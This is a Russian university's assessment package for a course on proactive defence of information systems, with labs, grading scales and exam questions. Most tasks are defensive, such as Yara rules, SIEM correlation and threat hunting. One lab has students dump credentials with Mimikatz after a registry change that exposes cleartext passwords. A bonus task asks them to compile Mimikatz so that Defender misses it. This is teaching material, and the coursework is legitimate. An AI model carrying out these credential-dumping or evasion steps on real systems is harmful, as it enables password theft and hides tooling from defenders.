

**Министерство науки и высшего образования РФ  
Федеральное государственное бюджетное образовательное учреждение  
высшего образования  
«Национальный исследовательский университет «МЭИ»**

**Направление подготовки/специальность: 10.03.01 Информационная безопасность**

**Наименование образовательной программы: Безопасность компьютерных систем**

**Уровень образования: высшее образование - бакалавриат**

**Форма обучения: Очная**

**Оценочные материалы  
по дисциплине  
Технологии проактивной защиты информационных систем**

**Москва  
2021**

## ОЦЕНОЧНЫЕ МАТЕРИАЛЫ РАЗРАБОТАЛ:

Преподаватель

(должность)

	Подписано электронной подписью ФГБОУ ВО «НИУ «МЭИ»	
	Сведения о владельце ЦЭП МЭИ	
	Владелец	Баронов О.Р.
	Идентификатор	R90d76356-BaronovOR-7bf8fd7e

(подпись)

О.Р. Баронов

(расшифровка  
подписи)

## СОГЛАСОВАНО:

Руководитель  
образовательной  
программы

(должность, ученая степень, ученое  
звание)

	Подписано электронной подписью ФГБОУ ВО «НИУ «МЭИ»	
	Сведения о владельце ЦЭП МЭИ	
	Владелец	Баронов О.Р.
	Идентификатор	R90d76356-BaronovOR-7bf8fd7e

(подпись)

О.Р. Баронов

(расшифровка  
подписи)

Заведующий  
выпускающей кафедры

(должность, ученая степень, ученое  
звание)

	Подписано электронной подписью ФГБОУ ВО «НИУ «МЭИ»	
	Сведения о владельце ЦЭП МЭИ	
	Владелец	Невский А.Ю.
	Идентификатор	R4bc65573-NevskyAY-0b6e493d

(подпись)

А.Ю.

Невский

(расшифровка  
подписи)

## **ОБЩАЯ ЧАСТЬ**

Оценочные материалы по дисциплине предназначены для оценки: достижения обучающимися запланированных результатов обучения по дисциплине, этапа формирования запланированных компетенций и уровня освоения дисциплины.

Оценочные материалы по дисциплине включают оценочные средства для проведения мероприятий текущего контроля успеваемости и промежуточной аттестации.

Формируемые у обучающегося компетенции:

1. ПК-1 способностью выполнять работы по установке, настройке и обслуживанию программных, программно-аппаратных (в том числе криптографических) и технических средств защиты информации
2. ПК-11 способностью проводить эксперименты по заданной методике, обработку, оценку погрешности и достоверности их результатов
3. ПСК-2 Способность применять программные средства системного и специального назначения, в том числе для обеспечения безопасного функционирования объектов энергетики с элементами АСУ ТП
4. ПСК-3 Способность применять комплексный подход к обеспечению информационной безопасности в различных сферах деятельности в том числе и на объектах энергетики, эксплуатирующих АСУ ТП

и включает:

**для текущего контроля успеваемости:**

Форма реализации: Выполнение задания

1. Анализ угроз безопасности с использованием технологий проактивного поиска, обнаружения событий в сети и сбора событий с конечных устройств на основе ОС Windows. (Отчет)
2. Изучение технологий эвристического детектирования и поведенческого анализа в контролируемой изолированной среде на основе ОС Windows (Отчет)
3. Разработка архитектуры системы проактивной защиты в организации (Контрольная работа)
4. Разработка модели безопасности компьютерной системы (Кейс (решение конкретных производственных ситуаций))
5. Разработка плана осведомленности по вопросам ИБ (Отчет)

Форма реализации: Компьютерное задание

1. Практика интеграции IDS/IPS в компьютерную сеть (Лабораторная работа)
2. Практика применения технологии настройки защищенной виртуальной машины (Лабораторная работа)
3. Разработка эвристических алгоритмов с помощью Yara (Лабораторная работа)

Форма реализации: Письменная работа

1. Разработка корреляционных правил при использовании SIEM систем (Отчет)

## БРС дисциплины

7 семестр

Раздел дисциплины	Веса контрольных мероприятий, %									
	Индекс КМ:	КМ-1	КМ-1	КМ-2	КМ-2	КМ-3	КМ-3	КМ-3	КМ-4	КМ-9
	Срок КМ:	4	4	8	8	12	12	12	15	15
Введение										
Тема 1. Введение в проактивную защиту			+							
Проактивная защита конечных устройств (endpoint protection)										
Тема 2. Организация проактивной защиты на базе защитных механизмов, встроенных в ОС (Windows, Linux).					+	+				
Тема 3. Технологии виртуализации в задачах проактивной защиты.		+			+	+				
Тема 4. Технологии эвристического детектирования и поведенческого анализа				+	+	+	+			
Тема 5. Решения класса endpoint protection.				+	+	+	+			
Проактивная защита сетевого периметра (network protection)										
Тема 6. Технологии мониторинга и обнаружения событий в сети.				+		+	+	+	+	
Тема 7. Введение в threat hunting.				+			+		+	
Тема 8. Технология Threat Intelligence.				+			+		+	
Тема 9. Основы построения защищённых компьютерных сетей.									+	
Тема 10. Решения для защиты компьютерных сетей									+	
Совершенствование проактивной защиты в ИС										
Тема 11. Перспективные технологии проактивной защиты.										+
Тема 12. Организационные меры проактивной защиты.										+
Вес КМ:		10	10	15	10	10	10	10	10	15

\$Общая часть/Для промежуточной аттестации\$

## СОДЕРЖАНИЕ ОЦЕНОЧНЫХ СРЕДСТВ ТЕКУЩЕГО КОНТРОЛЯ

### *I. Оценочные средства для оценки запланированных результатов обучения по дисциплине, соотнесенных с индикаторами достижения компетенций*

Индекс компетенции	Индикатор	Запланированные результаты обучения по дисциплине	Контрольная точка
ПК-1	ПК-1(Компетенция)	Уметь: применять навыки администрирования средств защиты информации, использующих проактивные технологии анализировать причины нарушения функционирования средств защиты информации, использующих проактивные технологии	Разработка модели безопасности компьютерной системы (Кейс (решение конкретных производственных ситуаций)) Практика применения технологии настройки защищенной виртуальной машины (Лабораторная работа)
ПК-11	ПК-11(Компетенция)	Знать: технологии создания правил, детектирующих угрозы безопасности современных компьютерных систем Уметь: применять инструменты создания правил, детектирующих угрозы безопасности	Анализ угроз безопасности с использованием технологий проактивного поиска, обнаружения событий в сети и сбора событий с конечных устройств на основе ОС Windows. (Отчет) Разработка эвристических алгоритмов с помощью Yara (Лабораторная работа)
ПСК-2	ПСК-2(Компетенция)	Знать:	Разработка архитектуры системы проактивной защиты в организации

		<p>основные виды, назначение и принцип работы современных средств защиты информации, использующих проактивные технологии и технологии реализации моделей безопасности компьютерных систем</p> <p>Уметь: выбирать и применять средства защиты информации, использующих проактивные технологии, для нейтрализации угроз безопасности современных компьютерных систем</p>	<p>(Контрольная работа) Разработка корреляционных правил при использовании SIEM систем (Отчет)</p>
ПСК-3	ПСК-3(Компетенция)	<p>Знать: основные понятия и назначение технологий проактивной защиты, в т.ч. использующие перспективные технологии проактивной защиты</p> <p>Уметь: внедрять организационные меры политик обновления системного и прикладного ПО, резервного копирования и управления уязвимостями</p>	<p>Изучение технологий эвристического детектирования и поведенческого анализа в контролируемой изолированной среде на основе ОС Windows (Отчет) Практика интеграции IDS/IPS в компьютерную сеть (Лабораторная работа) Разработка плана осведомленности по вопросам ИБ (Отчет)</p>

		применять навыки интеграции средств защиты информации, использующих проактивные технологии и автоматизации их настроек при выявлении угроз безопасности современных компьютерных систем	
--	--	---	--

## II. Содержание оценочных средств. Шкала и критерии оценивания

### КМ-1. Практика применения технологии настройки защищенной виртуальной машины

**Формы реализации:** Компьютерное задание

**Тип контрольного мероприятия:** Лабораторная работа

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

#### Краткое содержание задания:

##### Поведенческий анализ файлов в среде Cuckoo sandbox

Для выполнения данного задания понадобится ВМ с Windows из прошлого раздела + доп. ВМ с ОС Debian или Ubuntu

##### Ход работы:

1. Установить cuckoo sandbox, согласно инструкции <https://cuckoo.sh/docs/installation/index.html> . В качестве гостевой машины использовать ВМ с Windows из прошлого раздела
2. Проверить корректность установки (критических ошибок в host машине быть не должно)
3. Запустить cuckoo <https://cuckoo.sh/docs/usage/start.html>
4. Загрузить в cuckoo утилиту Mimikatz на анализ
5. Дождаться окончания анализа и изучить результат
6. Описать функционал программы по результатам анализа.
7. Сделать вывод по данной части задания

#### Контрольные вопросы/задания:

Уметь: применять навыки администрирования средств защиты информации, использующих проактивные технологии	1.Виртуализация в информационной безопасности 2.Порядок настройки защищенной виртуальной машины
--	--

#### Описание шкалы оценивания:

*Оценка: 5*

*Нижний порог выполнения задания в процентах: 70*

*Описание характеристики выполнения знания:* Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно

*Оценка: 4*

*Нижний порог выполнения задания в процентах: 60*

*Описание характеристики выполнения знания:* Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач

*Оценка: 3*

*Нижний порог выполнения задания в процентах: 50*

*Описание характеристики выполнения знания:* Оценка "удовлетворительно" выставляется если задание преимущественно выполнено



## КМ-1. Разработка модели безопасности компьютерной системы

**Формы реализации:** Выполнение задания

**Тип контрольного мероприятия:** Кейс (решение конкретных производственных ситуаций)

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

### Краткое содержание задания:

По модели Белла-ЛаПадуллы

Пусть имеется мандатная система доступа  $\Sigma(v0, Q, FT)$ , в которой решетка уровней безопасности  $\Lambda L$  является линейной и имеет три уровня –  $l1, l2, l3$ ;  $l1 > l2 > l3$ ;  $l1 > l3$ .

Пусть имеется следующая система субъектов (пользователей) доступа:

$u1$  – администратор системы;

$u2$  – руководитель предприятия;

$u3$  – делопроизводитель;

$u4$  – user, т.е. рядовой непривилегированный пользователь.

Пусть имеется следующая система объектов доступа:

$o1$  – системное ПО;

$o2$  – документ "Стратегия выхода предприятия на новые рынки сбыта продукции";

$o3$  – документ "Приказ о поощрении работников по случаю Дня Предприятия";

$o4$  – АИС "Борей" (прием, обработка и исполнение заказов клиентов) (ПО и БД).

Задача № 1. Обосновать и составить систему уровней допусков пользователей, грифов секретности объектов доступа и матрицу доступа  $A[u, o]$ .

Задача № 2. Составить и обосновать систему допусков и грифов секретности для двух состояний системы:

Состояние I – Подготовка (разработка) документа  $o2$ .

Состояние II – Документ  $o2$  утвержден и введен в действие.

### Контрольные вопросы/задания:

Уметь: анализировать причины нарушения функционирования средств защиты информации, использующих проактивные технологии	1. Дискреционный контроль доступа Windows. Дескриптор безопасности и разрешения 2. Мандатный контроль целостности. Стандартная политика. Примеры использования. 3. Основная концепция безопасности. Разграничение прав доступа. Основные правила и модели
--	---

### Описание шкалы оценивания:

Оценка: 5

Нижний порог выполнения задания в процентах: 70

Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно

Оценка: 4

Нижний порог выполнения задания в процентах: 60

Описание характеристики выполнения знания: Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач

Оценка: 3

Нижний порог выполнения задания в процентах: 50

Описание характеристики выполнения знания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено

## КМ-2. Разработка эвристических алгоритмов с помощью Yara

**Формы реализации:** Компьютерное задание

**Тип контрольного мероприятия:** Лабораторная работа

**Вес контрольного мероприятия в БРС:** 15

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

### Краткое содержание задания:

#### Детектирование угроз с помощью Yara-эвристик

Третья часть задания выполняется в подготовленной виртуальной машине (VM) с ОС Windows, полученной в ходе выполнения первой части данного задания

Документация по yara - <https://yara.readthedocs.io/en/latest/>

Ход работы:

1. Для создания правил следует использовать установленные на VM инструменты. Такие как hex редактор, strings...
2. Создать yara правило для детектирования след. файла  
<https://support.kaspersky.ru/downloads/eicar/eicar.zip>
3. Создать yara правило для детектирования утилиты Mimikatz
4. Создать yara правило для детектирования doc, xls, pdf документов (Любые, на свой выбор)
5. Создать yara правило для детектирования pe, elf файлов (Любые, на свой выбор)
6. Создать yara правило для детектирования группы файлов\* (одного расширения и схожие по параметрам, которые Вы должны определить сами. Любые, на свой выбор)
7. Используя созданные yara правила просканировать файловую систему VM. Созданные правила должны детектировать только те файлы, для детекта которых они написаны (включая группы файлов).
8. В случае выявления FP срабатываний, исправить их. Все FP отразить в отчете и описать процесс их устранения
9. Сделать вывод по данной части задания

Примечание: после создания каждого yara правила проверить его работоспособность.

### Контрольные вопросы/задания:

Уметь: применять инструменты создания правил, детектирующих угрозы безопасности	1. Язык Yara. Синтаксис. Принцип написания детектирующих правил. 2. Детектирование исполняемых файлов (PE, ELF) с помощью эвристических алгоритмов
---	---

### Описание шкалы оценивания:

Оценка: 5

Нижний порог выполнения задания в процентах: 70

Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно

Оценка: 4

Нижний порог выполнения задания в процентах: 60

Описание характеристики выполнения знания: Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач

Оценка: 3

Нижний порог выполнения задания в процентах: 50

Описание характеристики выполнения знания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено

## КМ-2. Изучение технологий эвристического детектирования и поведенческого анализа в контролируемой изолированной среде на основе ОС Windows

**Формы реализации:** Выполнение задания

**Тип контрольного мероприятия:** Отчет

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

### Краткое содержание задания:

#### Изучение основных компонентов архитектуры безопасности ОС Windows

Задание выполняется в виртуальной машине (ВМ) с ОС Windows

#### Ход работы:

1. Установить VirtualBox <https://www.virtualbox.org/wiki/Downloads>
  2. Скачать ВМ ОС Windows 10 для Virtual Box.  
<https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/>
  3. Импортировать ВМ в virtual box
  4. Запустить ВМ. (Данные для входа - IEUser:Passw0rd!)
  5. По-умолчанию, виртуальная машина уже должна иметь активированную 90 дневную пробную лицензию. В случае неоднократного появления сообщения о необходимости проведения процедуры активации, необходимо выполнить следующее: «Откройте cmd.exe и активируйте 90-дневную лицензию, введя slmgr / ato»
  6. Сделать снэпшот текущего состояния ВМ
  7. Установить необходимый софт (<https://github.com/fireeye/flare-vm>). Данные программы понадобятся позже, при выполнении 3 части ДЗ-1 и ДЗ-2.
  8. Скачать Process Explorer (<https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer>)
  9. Сделать снэпшот текущего состояния ВМ
  10. Запустить Process Explorer от имени администратора (есть в , изучить программу.
  11. Найти все компоненты безопасности ОС Windows о которых шла речь во время лекционных и практических занятий (указать названия компонентов и путь к файлам. Сделать в виде таблицы)
  12. Изучить процесс lsass.exe. Перечислить и описать компоненты процесса
  13. Скачать утилиту Mimikatz (<https://github.com/gentilkiwi/mimikatz/releases>). При необходимости, отключить Windows Defender.
  14. Запустить утилиту mimikatz от имени администратора (<https://github.com/gentilkiwi/mimikatz/releases>) и выполнить следующие команды
  15. Проанализировать полученные данные и записать их в отчет
  16. Запустить cmd.exe от имени администратора и выполнить следующую команду: «reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG\_DWORD /d 1»
  17. Перезагрузить ВМ
  18. Повторить п.14
  19. Проанализировать полученные данные, сравнить их с данными, полученными из п.15 и записать результат в отчет.
  20. Ответить на вопрос: «Почему был получен пароль пользователя в открытом виде и с проблемой какого компонента безопасности это связано?»
  21. Исправить проблему в компоненте безопасности Windows (для необходимо внести соответствующие изменения в системный реестр).
  22. Повторить п.17
  23. Сделать вывод по данной части задания
- Доп. Задание (со звездочкой):

Скомпилировать Mimikatz таким образом, чтобы скачивание, перемещение в ФС и запуск не детектировался Windows Defender'ом.

### Контрольные вопросы/задания:

Знать: основные понятия и назначение технологий проактивной защиты, в т.ч. использующие перспективные технологии проактивной защиты	1.Проактивная защиты информационных систем. Достоинства и недостатки. Отличия от реактивных методов 2.ОС Linux. Подсистемы безопасности. краткое описание и примеры использования 3.Подсистемы безопасности ОС Windows
---	--

### Описание шкалы оценивания:

*Оценка: 5*

*Нижний порог выполнения задания в процентах: 70*

*Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно*

*Оценка: 4*

*Нижний порог выполнения задания в процентах: 60*

*Описание характеристики выполнения знания: Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач*

*Оценка: 3*

*Нижний порог выполнения задания в процентах: 50*

*Описание характеристики выполнения знания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено*

### КМ-3. Разработка архитектуры системы проактивной защиты в организации

**Формы реализации:** Выполнение задания

**Тип контрольного мероприятия:** Контрольная работа

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

### Краткое содержание задания:

**Построение системы проактивной защиты на базе SIEM Qradar**

Требования

Windows 7/8/8.1/10 x64

Virtualbox

CPU 4 Core, 16 Gb RAM

CentOS 7.5 (Окружение GNOME)

[https://developer.ibm.com/qradar/wp-](https://developer.ibm.com/qradar/wp-content/uploads/sites/89/2018/08/b_qradar_community_edition.pdf)

[content/uploads/sites/89/2018/08/b\\_qradar\\_community\\_edition.pdf](https://developer.ibm.com/qradar/wp-content/uploads/sites/89/2018/08/b_qradar_community_edition.pdf)

Задачи контрольной работы

1. Развернуть SIEM Qradar CE

2. Настроить отправку событий журналов безопасности Windows (из созданной ВМ в 1 ДЗ) в SIEM систему (На отлично, настроить отправку журналов sysmon)

3. Сделать парсинг событий Windows security events (в кол-ве достаточном, для выполнения данной части ДЗ)

4. Написать правила корреляции:

Запуск teamviewer

Использование mimikatz (не только запуск!!!)  
Детектирование любой атаки из матрицы Mitre / Kill Chain

**Контрольные вопросы/задания:**

Знать: основные виды, назначение и принцип работы современных средств защиты информации, использующих проактивные технологии и технологии реализации моделей безопасности компьютерных систем	1.SIEM системы. Основные механизмы и решаемые задачи. 2.SIEM системы. Типовая архитектура.
---	---

**Описание шкалы оценивания:**

*Оценка: 5*

*Нижний порог выполнения задания в процентах: 70*

*Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно*

*Оценка: 4*

*Нижний порог выполнения задания в процентах: 60*

*Описание характеристики выполнения знания: Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач*

*Оценка: 3*

*Нижний порог выполнения задания в процентах: 50*

*Описание характеристики выполнения знания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено*

**КМ-3. Анализ угроз безопасности с использованием технологий проактивного поиска, обнаружения событий в сети и сбора событий с конечных устройств на основе ОС Windows.**

**Формы реализации:** Выполнение задания

**Тип контрольного мероприятия:** Отчет

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

**Краткое содержание задания:**

**Изучение возможностей SIEM-системы IBM Qradar**

**Вводная информация**

Допускается выполнение ДЗ-2 в группах по 5 человек.

**Изучение возможностей SIEM-системы IBM Qradar**

Полезные ссылки:

<https://developer.ibm.com/qradar/ce/>

[https://developer.ibm.com/qradar/wp-content/uploads/sites/89/2020/02/b\\_qradar\\_community\\_edition\\_7.3.3GA\\_v1.0.pdf](https://developer.ibm.com/qradar/wp-content/uploads/sites/89/2020/02/b_qradar_community_edition_7.3.3GA_v1.0.pdf)

[https://www.ibm.com/support/knowledgecenter/SS42VS\\_DSM/com.ibm.dsm.doc/b\\_dsm\\_guide\\_e.pdf?origURL=SS42VS\\_DSM/b\\_dsm\\_guide.pdf](https://www.ibm.com/support/knowledgecenter/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide_e.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf)

[https://www.ibm.com/support/knowledgecenter/SS42VS\\_7.3.3/com.ibm.qradar.doc/b\\_qradar\\_gs\\_guide.pdf](https://www.ibm.com/support/knowledgecenter/SS42VS_7.3.3/com.ibm.qradar.doc/b_qradar_gs_guide.pdf)

[https://www.ibm.com/support/knowledgecenter/SS42VS\\_7.3.3/com.ibm.qradar.doc/b\\_qradar\\_users\\_guide.pdf](https://www.ibm.com/support/knowledgecenter/SS42VS_7.3.3/com.ibm.qradar.doc/b_qradar_users_guide.pdf)

<https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>  
<https://ibm.ent.box.com/s/ich0yyiw54y0ek6s9a66xvtjku8e42rc/file/619638909365>  
<https://attack.mitre.org/>

Задачи:

1. Установить SIEM Qradar CE в ВМ на основе CentOS
2. Изучить интерфейс и основные компоненты SIEM Qradar CE
3. Настроить отправку событий журналов безопасности Windows Sysmon (из созданной ВМ в 1 ДЗ) в SIEM систему.
4. Сделать парсинг событий Windows security events (в кол-ве, достаточном, для выполнения данной части ДЗ)
5. Написать правило корреляции на запуск Remote Access Tool (RAT).

№ варианта	Название RAT
1	TeamViewer
2	AmmyAdmin
3	AnyDesk
4	VNC
5	LogMeIn

Дополнительно ответить на вопрос: чем может быть опасен RAT в корпоративной сети.

6. Написать правило корреляции на использование mimikatz на хосте (не только запуск!!!).
7. (На оценку отлично) Детектирование любой техники из матрицы Mitre ATT&CK до этапа Command and Control. **У команд не должно быть пересечений в выбранных техниках!!!**
8. Подготовить выводы и сделать схему получившейся инфраструктуры.

#### Контрольные вопросы/задания:

Знать: технологию создания правил, детектирующих угрозы безопасности современных компьютерных систем	1. Технологии сбора событий (winlogbeat, auditbeat, auditd). 2. Sysmon. Назначение. Виды событий. 3. Технологии хранения и анализа событий (ELK stack).
--	---

#### Описание шкалы оценивания:

*Оценка: 5*

*Нижний порог выполнения задания в процентах: 70*

*Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно*

*Оценка: 4*

*Нижний порог выполнения задания в процентах: 60*

*Описание характеристики выполнения знания: Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач*

*Оценка: 3*

*Нижний порог выполнения задания в процентах: 50*

*Описание характеристики выполнения знания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено*

### КМ-3. Разработка корреляционных правил при использовании SIEM систем

**Формы реализации:** Письменная работа

**Тип контрольного мероприятия:** Отчет

## Вес контрольного мероприятия в БРС: 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

### Краткое содержание задания:

#### 1 Вариант.

##### Разработка программы (скрипта) для обогащения IP фидов.

Необходимо написать скрипт, которому на вход подаешь IPv4 адрес. На выходе получаешь JSON с обогащенной информацией. Полученный JSON должен содержать следующее:

1. Whois информацию (страна, хостер, hostname (если есть)...) )
2. Детекты антивирусных движков, наличие в black листах. Отобразить в виде бинарного значения (к примеру, «clean или malicious» или «clean или blacklisted»). Если присутствуют детекты по IP, отдельным полем отобразить названия движков в виде списка (К примеру “detect\_engines” : “Kaspersky, ESET, Symantec”
3. Разрешается использовать вложенный json

В качестве основного источника данных для обогащения рекомендуется использовать <https://developers.virustotal.com/v3.0/reference#overview>

ЯП – любой на выбор. Интерфейс – консольный, с help информацией.

#### 2 Вариант

##### Разработка модели для обогащения IP фидов.

Необходимо разработать модель обогащения IP open source фидов. За основу взять IP фид с <https://threatfeeds.io> (1 любой, на выбор) и проработать процесс обогащения. От простого IP до полноценного IP фида. Для этого нужно:

1. Выявить необходимые для фида данные (исходя из контекста фида) – какой информацией обогащать, сколько внешних источников использовать и т.д. К примеру, если фид по малваре, то необходимо, как минимум, обогащать вердиктами антивирусных движков.
2. Определить структуру обогащенных фидов (json или csv, поля и их название и т.д.)
3. Полученные данные структурировать и отобразить в visio в виде схемы.

Обязательно указать пример обогащенного IP фида со всеми полями и их описанием (делается руками по заданной модели). На схеме должны быть указаны взаимосвязи с внешними источниками для обогащения.

### Контрольные вопросы/задания:

Уметь: выбирать и применять средства защиты информации, использующих проактивные технологии, для нейтрализации угроз безопасности современных компьютерных систем	
---	--

- |  |   |
|--|---|
|  | <ol style="list-style-type: none"><li>1. Threat Intelligence. Фиды. Обогащение и анализ. Привести примеры.</li><li>2. Порядок сбора и аккумуляция данных.</li><li>3. Обогащение и анализ полученных данных.</li></ol> |
|--|---|

### Описание шкалы оценивания:

Оценка: 5

Нижний порог выполнения задания в процентах: 70

Описание характеристики выполнения знания: Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно

Оценка: 4

Нижний порог выполнения задания в процентах: 60

*Описание характеристики выполнения знания:* Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач

*Оценка:* 3

*Нижний порог выполнения задания в процентах:* 50

*Описание характеристики выполнения знания:* Оценка "удовлетворительно" выставляется если задание преимущественно выполнено

#### **КМ-4. Практика интеграции IDS/IPS в компьютерную сеть**

**Формы реализации:** Компьютерное задание

**Тип контрольного мероприятия:** Лабораторная работа

**Вес контрольного мероприятия в БРС:** 10

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

**Краткое содержание задания:**

**Разработка демо-платформы Threat Hunting на основе ELK stack**

Полезные ссылки:

<https://www.elastic.co/elastic-stack>

<https://www.elastic.co/beats>

Задачи:

1. Развернуть Elastic stack последней версии в виртуальной машине Unix (Debian или Ubuntu)

2. Изучить компоненты Elastic stack, включить в отчет их краткое описание.

3. Изучить агенты сбора событий с источников (beats), выбрать и обосновать выбор агентов для сбора событий с ВМ и создания системы проактивного поиска угроз

4. Создать hunt для детектирования (На выбор):

Техники Remote Access Tool (RAT) - <https://attack.mitre.org/techniques/T1219/>

Техники Credential dumping - <https://attack.mitre.org/techniques/T1003/>

(На оценку отлично) Suspicious powershell - <https://attack.mitre.org/techniques/T1086/>

5. Добавить функционал детектирования по threat intelligence фидам.

**Контрольные вопросы/задания:**

Уметь: применять навыки интеграции средств защиты информации, использующих проактивные технологии и автоматизации их настроек при выявлении угроз безопасности современных компьютерных систем	1.Техники Threat Hunting. Визуализации и агрегации 2.Техники Threat Hunting. Машинное обучение 3.Источники информации и гипотез в Threat Hunting
--	--

**Описание шкалы оценивания:**

*Оценка:* 5

*Нижний порог выполнения задания в процентах:* 70

*Описание характеристики выполнения знания:* Оценка "отлично" выставляется если задание выполнено в полном объеме или выполнено преимущественно верно

*Оценка:* 4

*Нижний порог выполнения задания в процентах:* 60

*Описание характеристики выполнения знания:* Оценка "хорошо" выставляется если большинство вопросов раскрыто. выбрано верное направление для решения задач

*Оценка:* 3



*Нижний порог выполнения задания в процентах: 50*  
*Описание характеристики выполнения задания: Оценка "удовлетворительно" выставляется если задание преимущественно выполнено*

### **КМ-9. Разработка плана осведомленности по вопросам ИБ**

**Формы реализации:** Выполнение задания

**Тип контрольного мероприятия:** Отчет

**Вес контрольного мероприятия в БРС:** 15

**Процедура проведения контрольного мероприятия:** Проверка задания преподавателем

**Краткое содержание задания:**

В организации рекомендуется разработать программу и план регулярного обучения и повышения осведомленности в области информационной безопасности.

Программу и план обучения и повышения осведомленности необходимо разработать по следующим основным направлениям:

- повышение осведомленности работников организации по вопросам исполнения регламента обнаружения событий ИБ и оповещения о них, в том числе по составу событий ИБ;
- повышение осведомленности представителей внешних организаций и клиентов организации, использующих информационную инфраструктуру организации, о порядке и процедурах информирования организации об обнаруженных инцидентах ИБ;
- обучение и повышение осведомленности членов ГРИИБ и работников организации, привлекаемых к реагированию на инциденты ИБ, по вопросам сбора, фиксации и документирования информации об инцидентах ИБ, использования классификатора инцидентов ИБ;
- обучение и повышение осведомленности членов ГРИИБ и работников организации, привлекаемых к реагированию на инциденты ИБ, с целью приобретения знаний по технической эксплуатации информационной инфраструктуры организации, позволяющих осуществить оперативное закрытие инцидентов ИБ;
- обучение работников подразделений информатизации организации по вопросам эксплуатации технических средств;
- обучение работников службы ИБ организации по вопросам контроля эксплуатации технических средств.

Рекомендуется ознакомление работников организации с процедурой информирования о событиях ИБ, а также о необходимости незамедлительного сообщения об обнаруженных событиях ИБ оператору-диспетчеру ГРИИБ. В процедуры ознакомления рекомендуется включать:

- перечень или описание событий ИБ, о которых требуется сообщать;
- форму сообщения о событиях ИБ, включая детали, существенные для классификации инцидента ИБ, и описание действий по реагированию (например, о типе несоответствия или нарушения, возникновениях неправильных срабатываний, появлении сообщений на экране, нетипичном поведении);
- способы первичного документирования информации о событиях ИБ;
- рекомендации по поведению в случае явных нарушений ИБ, например о выполнении или, наоборот, запрете каких-либо действий, кроме немедленного оповещения оператора-диспетчера ГРИИБ.

**Контрольные вопросы/задания:**

Уметь: организационные меры политик обновления системного и	внедрять и	1.Порядок разработки основного содержания программы повышения осведомленности в области информационной безопасности
---	---------------	---

прикладного ПО, резервного копирования и управления уязвимостями	2.Порядок разработки основного содержания плана повышения осведомленности в области информационной безопасности в организации
--	---

**Описание шкалы оценивания:**

*Оценка: зачтено*

*Описание характеристики выполнения знания:*

*Оценка: не зачтено*

*Описание характеристики выполнения знания:*

# СОДЕРЖАНИЕ ОЦЕНОЧНЫХ СРЕДСТВ ПРОМЕЖУТОЧНОЙ АТТЕСТАЦИИ

7 семестр

Форма промежуточной аттестации: Зачет с оценкой

Пример билета

ИИУ МЭИ	ЭКЗАМЕНАЦИОННЫЙ БИЛЕТ №1 Кафедра <i>Безопасности и информационных технологий</i>	Утверждаю: Зав. каф. БИТ  А.Ю.Невский Протокол НМК ИЭБ
	Дисциплина «Технологии проактивной защиты информационных систем»  Инженерно-экономический институт	
1. ОС Linux. Подсистемы безопасности. краткое описание и примеры использования. 2. Threat Hunting. Источники информации и гипотез. 3. Практическое задание № 3		

## Процедура проведения

Проверка преподавателем письменного ответа на вопросы билета

### *1. Перечень компетенций/индикаторов и контрольных вопросов проверки результатов освоения дисциплины*

#### **1. Компетенция/Индикатор: ПК-1(Компетенция)**

#### **Вопросы, задания**

1. Модели безопасности компьютерных систем. Дискреционная и мандатная политики.
2. Управление доступом в ОС Windows.
3. Дискреционный контроль доступа Windows. Списки контроля доступа и определение прав.
4. Дискреционный контроль доступа Windows. Дескриптор безопасности и разрешения.
5. Мандатный контроль целостности. Стандартная политика. Примеры использования.
6. Виртуализация в информационной безопасности.
7. Межсетевой экран нового поколения (NGFW). Технологии внедрения в корпоративную сеть.

#### **Материалы для проверки остаточных знаний**

1. Преимущества виртуализации.

Ответы:

-

Верный ответ: Эффективное использование вычислительных ресурсов. Сокращение расходов на инфраструктуру. Снижение затрат на программное обеспечение. Повышение гибкости и скорости реагирования системы. Несовместимые приложения могут работать на одном компьютере. Повышение доступности приложений и обеспечение непрерывности работы предприятия. Возможности легкой архивации. Повышение управляемости инфраструктуры. Безопасность.

2. Виртуализация приложений.

Ответы:

-

Верный ответ: Виртуализация приложений - это тип виртуализации, при котором происходит изоляция приложения от ресурсов операционной системы. Основным принципом виртуализации приложений заключается в том, что само приложение

